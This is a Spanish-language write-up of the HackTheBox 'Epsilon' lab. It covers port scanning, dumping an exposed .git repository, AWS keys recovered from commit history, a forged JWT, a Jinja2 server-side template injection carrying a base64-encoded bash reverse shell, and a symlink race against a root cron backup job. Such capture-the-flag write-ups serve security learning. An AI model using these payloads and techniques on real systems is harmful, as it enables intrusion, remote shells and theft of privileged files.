Epsilon

sudo nmap 10.129.96.151 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
sudo nmap 10.129.96.151 -p 22,80,5000 -sCV -oN targeted

Parece ser que hay un repo de git , pero no podemos acceder

80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-git: 
|   10.129.96.151:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)

Fuzzeamos pero parece ser que no hay nada más.

En el puerto 5000 hay un Flask

Fuzzeamos

La autenticación no parece impedir que podamos acceder a /track

Al enviar un track nos redirige al login, de todas formas ya sabemos que el usuario es admin

gobuster dir -u http://10.129.96.151:5000 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 150

Como no hay mucho más volvemos a la otra página con el .git, ¿Cómo es que nmap ha podido leer el nombre del último commit? Porque ha leído .git/logs/HEAD e individualmente a a cada uno de los archivos si que tenemos acceso.

git-dumper http://10.129.96.151/.git/ repo_dump

Reconstruimos con el último commit

git config --global --add safe.directory /mnt/Windows/Hacking/Academias/HackTheBox/Machines/Epsilon/content/repo_dump

git restore .

Según index() la contraseña de admin parece ser admin, pero no funciona

@app.route("/", methods=["GET","POST"])
def index():
        if request.method=="POST":
                if request.form['username']=="admin" and request.form['password']=="admin":
                        res = make_response()
                        username=request.form['username']
                        token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
                        res.set_cookie("auth",token)
                        res.headers['location']='/home'
                        return res,302
                else:
                        return render_template('index.html')
        else:
                return render_template('index.html')

En track_api_CR_148.py hay un código que interactúa con una Lambda en LocalStack (emulador de AWS local)

import os
from zipfile import ZipFile
from boto3.session import Session


session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')


def files_to_zip(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            full_path = os.path.join(root, f)
            archive_name = full_path[len(path) + len(os.sep):]
            yield full_path, archive_name


def make_zip_file_bytes(path):
    buf = io.BytesIO()
    with ZipFile(buf, 'w') as z:
        for full_path, archive_name in files_to_zip(path=path):
            z.write(full_path, archive_name)
    return buf.getvalue()


def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))

Apuntamos los nuevos dominios en el /etc/hosts

echo '10.129.96.151   epsilon.htb cloud.epsilon.htb' >> /etc/hosts

Ya que estamos fuzzeamos por subdominios, pero no encontramos nada más.

ffuf -u http://epsilon.htb -H "Host: FUZZ.epsilon.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt  -mc all -ac -t 150

Aquí tiene toda la pinta que hay un Server Side Template Injection pero faltan creds

@app.route('/order',methods=["GET","POST"])
def order():
        if verify_jwt(request.cookies.get('auth'),secret):
                if request.method=="POST":
                        costume=request.form["costume"]
                        message = '''
                        Your order of "{}" has been placed successfully.
                        '''.format(costume)
                        tmpl=render_template_string(message,costume=costume)
                        return render_template('order.html',message=tmpl)
                else:
                        return render_template('order.html')
        else:
                return redirect('/',code=302)
app.run(debug='true')

Probamos a listar el lambda o buckets con creds fake (ya que muchas veces LocalStack no necesita una IAM válida para funcionar), sin éxito

export AWS_ACCESS_KEY_ID="FAKE"
export AWS_SECRET_ACCESS_KEY="FAKE"
export AWS_DEFAULT_REGION="us-east-1"
aws lambda list-functions --endpoint-url http://cloud.epsilon.htb

Hacemos un

git log --oneline
c622771 (HEAD -> master) Fixed Typo
b10dd06 Adding Costume Site
c514416 Updatig Tracking API
7cf92a7 Adding Tracking API Module

Comparandos los dos primeros commits encontramos creds de AWS

git diff c514416 7cf92a7
export AWS_ACCESS_KEY_ID="AQLA5M37BDN6FJP76TDC"
export AWS_SECRET_ACCESS_KEY="OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A"
export AWS_DEFAULT_REGION="us-east-1"

Tratamos de listar las lambdas , pero se queda pillado

aws lambda list-functions --endpoint-url http://cloud.epsilon.htb

Tampoco podemos hacer un whoami

aws sts get-caller-identity --endpoint-url http://cloud.epsilon.htb

Tras varias pruebas más resulta que es un bug de la máquina y debería funcionar la petición de listar las lambdas:

aws lambda get-function --function-name costume_shop_v1 --endpoint-url http://cloud.epsilon.htb
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2026-01-02T11:10:51.283+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "a2576154-50fd-446a-9d40-58bb3330b56f",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}

Nos descargamos el código
Haciéndolo así se nos corrompe el zip parece ser

awscurl --service lambda \
        --region us-east-1 \
        http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code > epsilon.zip

Forma fiable:

aws configure --profile user
import requests
import boto3
from botocore.auth import SigV4Auth
from botocore.awsrequest import AWSRequest

url = "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
region = "us-east-1"
profile = "user"

session = boto3.Session(profile_name=profile, region_name=region)
creds = session.get_credentials()

request = AWSRequest(method='GET', url=url)
SigV4Auth(creds, 'lambda', region).add_auth(request)
headers = dict(request.headers)

r = requests.get(url, headers=headers, stream=True)
filename = "flag_code.zip"
with open(filename, 'wb') as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:
                f.write(chunk)
unzip flag_code.zip

El código es algo así:

import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        if id:
            return {
               'statusCode': 200,
               'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }

Vemos que necesita un tracking_id , para llamarla:

aws lambda invoke \
    --function-name costume_shop_v1 \
    --payload '{"queryStringParameters": {"order_id": "1"}}' \
    --cli-binary-format raw-in-base64-out \
    --profile user \
    --endpoint-url http://cloud.epsilon.htb \
    respuesta.txt

La respuesta que recibimos es algo así, lo cuál tiene sentido porque no existe la variable resp

cat respuesta.txt | jq .

{
  "errorMessage": "Lambda process returned with error. Result: . Output:\n",
  "errorType": "InvocationException",
  "stackTrace": [
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_api.py\", line 811, in run_lambda\n    lock_discriminator=lock_discriminator,\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 428, in execute\n    return do_execute()\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 418, in do_execute\n    return _run(func_arn=func_arn)\n",
    "  File \"/opt/code/localstack/localstack/utils/cloudwatch/cloudwatch_util.py\", line 157, in wrapped\n    raise e\n",
    "  File \"/opt/code/localstack/localstack/utils/cloudwatch/cloudwatch_util.py\", line 153, in wrapped\n    result = func(*args, **kwargs)\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 405, in _run\n    raise e\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 401, in _run\n    result = self._execute(lambda_function, inv_context)\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 709, in _execute\n    result = self.run_lambda_executor(lambda_function=lambda_function, inv_context=inv_context)\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 637, in run_lambda_executor\n    ) from error\n"
  ]
}

Tambien tenemos el secret que parece ser el secreto para firmar las cookies

secret='RrXCv`mrNe!K!4+5`wYq'
python

>>> import jwt
>>> secret = 'RrXCv`mrNe!K!4+5`wYq'
>>> payload = {
...     "username": "admin"
... }
>>> token = jwt.encode(payload, secret, algorithm="HS256")
>>> print(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

Ya podemos hacer el Server Side Template Injection

@app.route('/order',methods=["GET","POST"])
def order():
        if verify_jwt(request.cookies.get('auth'),secret):
                if request.method=="POST":
                        costume=request.form["costume"]
                        message = '''
                        Your order of "{}" has been placed successfully.
                        '''.format(costume)
                        tmpl=render_template_string(message,costume=costume)
                        return render_template('order.html',message=tmpl)
                else:
                        return render_template('order.html')
        else:
                return redirect('/',code=302)
app.run(debug='true')
POST /order HTTP/1.1
Host: 10.129.30.243:5000
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

costume={{7*7}}&q=1&addr=test

El payload más básico de todos parece funcionar:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Nos enviamos una rev shell:

{{+self.__init__.__globals__.__builtins__.__import__('os').popen('echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE3LjQ4LzQ0NDQgMD4mMQ==|base64+-d|bash').read()+}}
nc -lvnp 4444

Normalizamos la shell

En este punto estaríamos dentro del máquina que hostea la web, no dentro de la ec2 donde correría la lambda temporalmente, ya que hemos hecho un SSTI en el servidor web.

cat /home/tom/user.txt 

Corremos pspy y encontramos esta cron job

2026/01/02 12:24:01 CMD: UID=0     PID=3193   | /bin/bash /usr/bin/backup.sh
#!/bin/bash

file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/ #Comprime app en backups

sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum #Guarda el checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" 

/opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

Podríamos pensar que se podría hacer path hijacking pero al ejecutarse en una cron jon el path suele ser algo así : PATH=/usr/bin:/bin y no carga tu variable $PATH

Tenemos permiso de escritura en /opt/backups

ls -la /opt/backups/
total 8
drwxr-xrwx 2 root root 4096 Jan  3 12:10 .

Vemos que continuamente se está creando y borrando el .tar y el checksum

watch -n 1 ls -la /opt/backups/

Cuando se cree el checksum podríamos cambiarlo por un enlace simbólico a /root/root.txt

Porque el -h carga el archivo original al que apunta el enlace simbólico

/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" 
cd /opt/backups/

#Ejecutamos esto hasta que eliminemos el checksum original
rm checksum ; ls -la ; ln -s /root/root.txt checksum
cd /tmp
for archivo in /var/backups/web_backups/*.tar; do tar -xvf "$archivo"; done
cat /opt/backups/checksum